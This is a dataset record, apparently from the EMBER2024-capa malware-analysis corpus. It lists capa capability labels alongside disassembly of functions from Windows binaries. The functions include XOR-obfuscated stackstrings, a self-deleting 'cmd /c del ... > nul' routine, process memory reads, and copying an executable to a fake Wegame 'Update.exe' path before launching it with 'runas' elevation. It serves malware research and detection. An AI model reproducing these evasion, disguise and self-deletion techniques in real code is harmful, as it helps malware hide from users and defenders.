joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180009f58
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
call qword [0x18002f760]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [0x18002f820]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x18000a0f1
mov dword [rbp - 9], 0x1a
xor eax, eax
mov byte [rbp - 5], reloc.WS2_32.dll_WSACleanup
mov r8d, edi
mov byte [rbp - 4], 0x6e
mov byte [rbp - 3], 0x7e
mov byte [rbp - 2], 0x76
mov byte [rbp - 1], 0x76
mov byte [rbp], 0x34
mov byte [rbp + 1], 0x7e
mov byte [rbp + 2], 0x76
mov byte [rbp + 3], 0x76
mov byte [rbp + 4], al
mov al, byte [rbp - 5]
movsx edx, byte [rbp + r8 - 5]
mov eax, dword [rbp - 9]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 5], al
inc r8
cmp r8, 9
jb 0x180009fc9
lea rcx, [rbp - 5]
mov byte [rbp + 4], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [rbp + 7], 0x5c
mov rdx, rdi
mov byte [rbp + 8], 0x79
mov r8, rax
mov byte [rbp + 9], 0x53
mov byte [rbp + 0xa], 0x77
mov byte [rbp + 0xb], 0x67
mov byte [rbp + 0xc], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xd], 0x7b
mov byte [rbp + 0xe], 0x4b
mov byte [rbp + 0xf], WSAStartup
mov byte [rbp + 0x10], 0x68
mov byte [rbp + 0x11], WSAStartup
mov byte [rbp + 0x12], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x13], 0x6f
mov byte [rbp + 0x14], 0x63
mov byte [rbp + 0x15], 0x76
mov byte [rbp + 0x16], 0x6b
mov byte [rbp + 0x17], WSAStartup
mov byte [rbp + 0x18], WSAStartup
mov byte [rbp + 0x19], 0x52
mov byte [rbp + 0x1a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1b], WSAStartup
mov byte [rbp + 0x1c], 0x65
mov byte [rbp + 0x1d], 0x67
mov byte [rbp + 0x1e], 0x75
mov byte [rbp + 0x1f], 0x75
mov byte [rbp + 0x20], dil
mov al, byte [rbp + 7]
movsx ecx, byte [rbp + rdx + 7]
sub ecx, 2
mov byte [rbp + rdx + 7], cl
inc rdx
cmp rdx, 0x19
jb 0x18000a066
lea rdx, [rbp + 7]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x30
mov qword [rsp + 0x20], rdi
lea r8, [rbp + 0x27]
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
js 0x18000a0e8
mov edx, dword [rbp + 0x2f]
lea rax, [rbp + 0x6f]
add edx, 0xbc
mov qword [rbp + 0x6f], rdi
mov r9d, 2
mov word [rbp + 0x67], di
lea r8, [rbp + 0x67]
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x18000a0e8
cmp qword [rbp + 0x6f], 2
jne 0x18000a0e8
cmp word [rbp + 0x67], 0x70
jne 0x18000a0e8
mov eax, 1
jmp 0x18000a0f3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x18000a7f4
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 5
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x18000a801
mov byte [rcx + 9], r11b
ret
Function at 0x18000b85c
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x2d
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x18000b869
mov byte [rcx + 0x31], r11b
ret

Function at 0x18000b88c
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x2e
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x18000b899
mov byte [rcx + 0x32], r11b
ret

Function at 0x18000b8bc
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x10
jb 0x18000b8c3
mov byte [rcx + 0x14], 0
ret

Function at 0x18000b8e4
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x39
jb 0x18000b8eb
mov byte [rcx + 0x3d], 0
ret
Function at 0x18000bcac
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0xf40]
mov eax, 0x1040
call fcn.180015580
sub rsp, rax
xor esi, esi
mov rbx, rcx
mov dword [rbp + 0xf70], esi
mov dword [rbp + 0xf80], esi
cmp dword [rcx + 0x10], esi
je 0x18000be30
mov dword [rcx + 0x10], esi
cmp dword [rcx + 0xc], esi
jne 0x18000be30
movzx eax, word [rcx + 0x814]
lea r8d, [rsi + 0x10]
add ax, 0x18
mov word [rbp + 0xf8e], dx
mov word [rsp + 0x38], ax
lea r9, [rbp + 0xf70]
mov eax, dword [rcx + 8]
lea rdx, [rsp + 0x30]
mov rcx, qword [rcx]
lea r14d, [rsi + 5]
mov dword [rsp + 0x30], 0x3000005
mov dword [rsp + 0x34], r8d
mov word [rsp + 0x3a], si
mov dword [rsp + 0x3c], eax
mov dword [rbp + 0xf88], esi
mov word [rbp + 0xf8c], si
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000be30
mov rcx, qword [rbx]
lea r9, [rbp + 0xf70]
lea r8d, [rsi + 8]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0xf88]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000be30
mov r8d, dword [rbx + 0x814]
lea rdx, [rbx + 0x14]
mov rcx, qword [rbx]
lea r9, [rbp + 0xf70]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000be30
inc dword [rbx + 8]
lea rcx, [rsp + 0x40]
mov edi, 0x1000
xor edx, edx
mov r8d, edi
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbx]
lea r9, [rbp + 0xf80]
mov r8d, edi
mov qword [rsp + 0x20], rsi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000be30
cmp word [rsp + 0x40], r14w
jne 0x18000be30
cmp byte [rsp + 0x42], 2
jne 0x18000be30
cmp byte [rsp + 0x43], 3
jne 0x18000be30
movzx edi, word [rsp + 0x48]
cmp edi, dword [rbp + 0xf80]
jne 0x18000be30
cmp word [rsp + 0x54], si
jne 0x18000be30
add edi, 0xffffffe8
cmp edi, 0x800
ja 0x18000be30
mov r8d, edi
lea rcx, [rbx + 0x818]
lea rdx, [rsp + 0x58]
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov dword [rbx + 0x1018], edi
jmp 0x18000be35
mov eax, 1
add rsp, 0x1040
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x18000d6e4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov dword [rsp + 0x20], 0x53
xor eax, eax
mov byte [rsp + 0x24], 8
xor r8d, r8d
mov byte [rsp + 0x25], 0x7e
mov byte [rsp + 0x26], 0xe
mov byte [rsp + 0x27], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x28], 0x17
mov byte [rsp + 0x29], 0x36
mov byte [rsp + 0x2a], 0x3f
mov byte [rsp + 0x2b], 0x36
mov byte [rsp + 0x2c], 0x27
mov byte [rsp + 0x2d], 0x3a
mov byte [rsp + 0x2e], 0x3d
mov byte [rsp + 0x2f], 0x34
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x31], 0x20
mov byte [rsp + 0x32], 0x36
mov byte [rsp + 0x33], 0x3f
mov byte [rsp + 0x34], 0x35
mov byte [rsp + 0x35], al
mov al, byte [rsp + 0x24]
movsx edx, byte [rsp + r8 + 0x24]
mov eax, dword [rsp + 0x20]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x24], al
inc r8
cmp r8, 0x11
jb 0x18000d763
lea rdx, [rsp + 0x24]
mov byte [rsp + 0x35], 0
lea rcx, [rbp - 0x50]
call fcn.180003760
mov rcx, rax
call fcn.18000d5e8
mov ebx, 0x104
lea rcx, [rbp - 0x30]
mov r8d, ebx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
lea rcx, [rbp + 0x1f0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
lea rcx, [rbp + 0xe0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [0x18002f8d0]
mov r8d, ebx
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x30]
call qword [0x18002f770]
mov r8d, ebx
lea rdx, [rbp + 0x1f0]
lea rcx, str.COMSPEC
call qword [0x18002f940]
lea rdx, str._c_del
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.___nul
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, WSAStartup
lea rcx, [rsp + 0x40]
mov r8d, ebx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
and qword [rsp + 0x48], 0
lea rax, str.Open
and qword [rsp + 0x68], 0
lea rcx, [rsp + 0x40]
and dword [rsp + 0x70], 0
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0xe0]
mov dword [rsp + 0x40], ebx
mov ebx, 0x40
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x44], ebx
call qword [0x18002f828]
test eax, eax
je 0x18000d8fd
mov rcx, qword [rbp - 0x58]
mov edx, ebx
call qword [0x18002f848]
call qword [0x18002f7d8]
mov rcx, rax
mov edx, 0x100
call qword [0x18002f848]
call qword [0x18002f7e0]
mov rcx, rax
lea edx, [rbx - 0x31]
call qword [0x18002f910]
xor r9d, r9d
lea r8, [rbp - 0x30]
lea edx, [rbx - 0x3b]
lea ecx, [rbx - 0x3c]
call qword [0x18002f740]
call qword [0x18002f7d8]
mov rcx, rax
xor edx, edx
call qword [0x18002f8c8]
call qword [0x18002f7d8]
mov rcx, rax
xor edx, edx
call qword [0x18002f8c8]
mov rbx, qword [rsp + 0x418]
add rsp, 0x400
pop rbp
ret
Function at 0x18000dd38
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x11c
call qword [0x18002f738]
xor edx, edx
test eax, eax
je 0x18000dddb
mov eax, 0x80
lea rdx, [rsp + 0x70]
mov rcx, rbx
lea r8d, [rax - 0x7e]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, rax
movups xmmword [rcx + 0x60], xmm0
add rcx, rax
movups xmmword [rcx - 0x10], xmm1
sub r8, 1
jne 0x18000dd8c
jmp 0x18000df0f
mov byte [rsp + 0x20], 0x64
mov byte [rsp + 0x21], 0x36
mov byte [rsp + 0x22], 0x66
mov byte [rsp + 0x23], 0x29
mov byte [rsp + 0x24], 0x4f
mov byte [rsp + 0x25], 0x6a
mov byte [rsp + 0x26], WSAStartup
mov byte [rsp + 0x27], 0x75
mov byte [rsp + 0x28], 0x6e
mov byte [rsp + 0x29], 0x6d
mov byte [rsp + 0x2a], 0x29
mov byte [rsp + 0x2b], 0x7d
mov byte [rsp + 0x2c], 0x78
mov byte [rsp + 0x2d], 0x29
mov byte [rsp + 0x2e], WSAStartup
mov byte [rsp + 0x2f], 0x6e
mov byte [rsp + 0x30], 0x7d
mov byte [rsp + 0x31], 0x29
mov byte [rsp + 0x32], 0x7f
mov byte [rsp + 0x33], 0x6e
mov byte [rsp + 0x34], 0x7b
mov byte [rsp + 0x35], 0x7c
mov byte [rsp + 0x36], WSAStartup
mov byte [rsp + 0x37], 0x78
mov byte [rsp + 0x38], 0x77
mov byte [rsp + 0x39], 0x29
mov byte [rsp + 0x3a], 0x78
mov byte [rsp + 0x3b], 0x7c
mov byte [rsp + 0x3c], 0x29
mov byte [rsp + 0x3d], WSAStartup
mov byte [rsp + 0x3e], 0x77
mov byte [rsp + 0x3f], WSAStartup
mov byte [rsp + 0x40], 0x78
mov byte [rsp + 0x41], dl
mov al, byte [rsp + 0x20]
movsx ecx, byte [rsp + rdx + 0x20]
sub ecx, 9
mov byte [rsp + rdx + 0x20], cl
inc rdx
cmp rdx, 0x21
jb 0x18000de88
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.180003760
mov rcx, rax
call fcn.18000d5e8
mov eax, 0x80
lea rdx, [rsp + 0x70]
mov rcx, rbx
lea r8d, [rax - 0x7e]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, rax
movups xmmword [rcx + 0x60], xmm0
add rcx, rax
movups xmmword [rcx - 0x10], xmm1
sub r8, 1
jne 0x18000dec5
mov rax, qword [rdx + 0x10]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x18], eax
mov rax, rbx
mov rbx, qword [rsp + 0x1a8]
add rsp, 0x190
pop rbp
ret
Function at 0x18000df38
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
lea rbp, [rax - 0x1c8]
sub rsp, 0x2c0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov rbx, rcx
mov byte [rsp + 0x30], 0x64
mov byte [rsp + 0x31], 0x36
mov byte [rsp + 0x32], 0x66
mov byte [rsp + 0x33], 0x29
mov byte [rsp + 0x34], 0x76
mov byte [rsp + 0x35], 0x78
mov byte [rsp + 0x36], 0x7f
mov byte [rsp + 0x37], WSAStartup
mov byte [rsp + 0x38], 0x77
mov byte [rsp + 0x39], WSAStartup
mov byte [rsp + 0x3a], 0x29
mov byte [rsp + 0x3b], 0x7c
mov byte [rsp + 0x3c], 0x6e
mov byte [rsp + 0x3d], 0x75
mov byte [rsp + 0x3e], WSAStartup
mov byte [rsp + 0x3f], 0
mov al, byte [rsp + 0x30]
xor edx, edx
movsx ecx, byte [rsp + rdx + 0x30]
sub ecx, 9
mov byte [rsp + rdx + 0x30], cl
inc rdx
cmp rdx, 0xf
jb 0x18000dfb8
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.180003760
mov rcx, rax
call fcn.18000d5e8
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [0x18002f930]
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x18000e003
mov rdx, qword [rbx]
lea rcx, [rsp + 0x40]
call fcn.1800062f8
nop
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
call qword [0x18002f7e8]
cmp eax, 0xffffffff
je 0x18000e033
test al, 0x10
je 0x18000e033
xor dil, dil
jmp 0x18000e036
mov dil, 1
lea rcx, [rsp + 0x40]
call fcn.180005d48
test dil, dil
je 0x18000e05a
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x18000e052
mov rcx, qword [rbx]
xor edx, edx
call qword [0x18002f8a8]
xor r8d, r8d
lea rdx, str.C:Program_Files__x86_WegameUpdate.exe
lea rcx, [rbp - 0x50]
call qword [0x18002f7d0]
test eax, eax
je 0x18000e0a6
mov dword [rsp + 0x28], 1
lea rax, str.C:Program_Files__x86_Wegame
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.C:Program_Files__x86_WegameUpdate.exe
lea rdx, str.runas
xor ecx, ecx
call qword [0x18002f8b0]
call fcn.18000d6e4
jmp 0x18000e0bf
lea rdx, str.move_failed_
lea rcx, [rbp - 0x78]
call fcn.180003760
mov rcx, rax
call fcn.18000d5e8
nop
mov rcx, rbx
call fcn.180005d48
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000e0dc
Capabilities:
Get file size

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x60
mov qword [rax - 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
movaps xmmword [rax - 0x18], xmm6
mov rbx, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x18000e105
mov rcx, qword [rcx]
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [0x18002f860]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000e1ad
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, rdi
test eax, eax
je 0x18000e1a6
xorps xmm6, xmm6
cvtsi2sd xmm6, qword [rsp + 0x70]
mulsd xmm6, qword [0x18001bfc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18000e19a
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18000e195
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000e19f
mov rcx, r8
call fcn.180014614
movaps xmm0, xmm6
jmp 0x18000e1eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18000e1e3
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18000e1de
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000e20b
mov rcx, r8
call fcn.180014614
movsd xmm0, qword [0x18001bfd0]
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rbx, qword [rsp + 0x78]
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x18000fb00
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
mov edi, 0xffff
xor r14d, r14d
movzx esi, dx
mov rbx, rcx
cmp di, dx
jne 0x18000fb31
movzx eax, r14w
jmp 0x18000fc56
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x18000fb61
mov rax, qword [rcx + 0x58]
movsxd rcx, dword [rax]
lea rax, [rdx + rcx*2]
cmp rdx, rax
jae 0x18000fb61
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_protected:_wchar_t____ptr64___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Pninc_void____ptr64]
mov word [rax], si
movzx eax, si
jmp 0x18000fc56
cmp qword [rbx + 0x80], r14
je 0x18000fc53
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18000fb9f
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x18000fbc9
movzx ecx, si
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, di
je 0x18000fc53
movzx edi, si
jmp 0x18000fc53
lea rax, [rbp + 0x30]
mov word [rbp - 0x30], si
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea r9, [rbp - 0x2e]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x30]
lea rax, [rbp + 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
js 0x18000fc53
cmp eax, 1
jle 0x18000fc17
cmp eax, 3
jne 0x18000fc53
movzx ecx, word [rbp - 0x30]
jmp 0x18000fbab
mov r14, qword [rbp + 0x30]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x18000fc42
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp r14, rax
jne 0x18000fc53
lea rax, [rbp - 0x30]
mov byte [rbx + 0x72], 1
cmp qword [rbp + 0x38], rax
movzx eax, si
jne 0x18000fc56
movzx eax, di
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180010448
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1800104eb
cmp byte [rcx + 0x72], 0
je 0x1800104eb
mov rax, qword [rcx]
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
je 0x1800104ac
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1800104b0
sub eax, 1
je 0x1800104b4
sub eax, 2
je 0x1800104eb
xor al, al
jmp 0x1800104ed
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x1800104e2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1800104ac
cmp byte [rbx + 0x72], 0
sete al
jmp 0x1800104ed
mov al, 1
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x180012a48
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x14
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180012a55
mov byte [rcx + 0x18], r11b
ret

Function at 0x180012a78
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x2b
jb 0x180012a7f
mov byte [rcx + 0x2f], 0
ret

Function at 0x180012ae0
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0xa
jb 0x180012ae7
mov byte [rcx + 0xe], 0
ret

Function at 0x180012b08
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 8
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180012b15
mov byte [rcx + 0xc], r11b
ret

Function at 0x180012b38
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 8
jb 0x180012b3f
mov byte [rcx + 0xc], 0
ret

Function at 0x180012b60
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 9
jb 0x180012b67
mov byte [rcx + 0xd], 0
ret
Function at 0x140001380
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402a7980]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov rbx, rcx
mov ecx, 8
call fcn.140073918
test rax, rax
je 0x1400013b1
mov qword [rax], rdi
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400019e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x1400013fe
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140073e20
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3

Function at 0x1400017a0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [rdx + 0x3f], 0
mov rbx, rcx
je 0x1400017c6
xor eax, eax
lea r8d, [rax + 0x48]
xor byte [rdx + rax], r8b
inc rax
cmp rax, 0x3e
jb 0x1400017b1
mov byte [rdx + 0x3f], 0
call fcn.140001540
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x140002e80
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov dword [rbp - 0x40], 0x282b252a
mov ecx, ebx
mov dword [rbp - 0x3c], 0x3c272127
mov dword [rbp - 0x38], 0x736d7124
mov word [rbp - 0x34], WSAGetLastError
mov byte [rbp - 0x32], 1
lea eax, [rcx + 0x48]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xd
jb 0x140002eb0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x32], bl
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov ecx, Ordinal_301
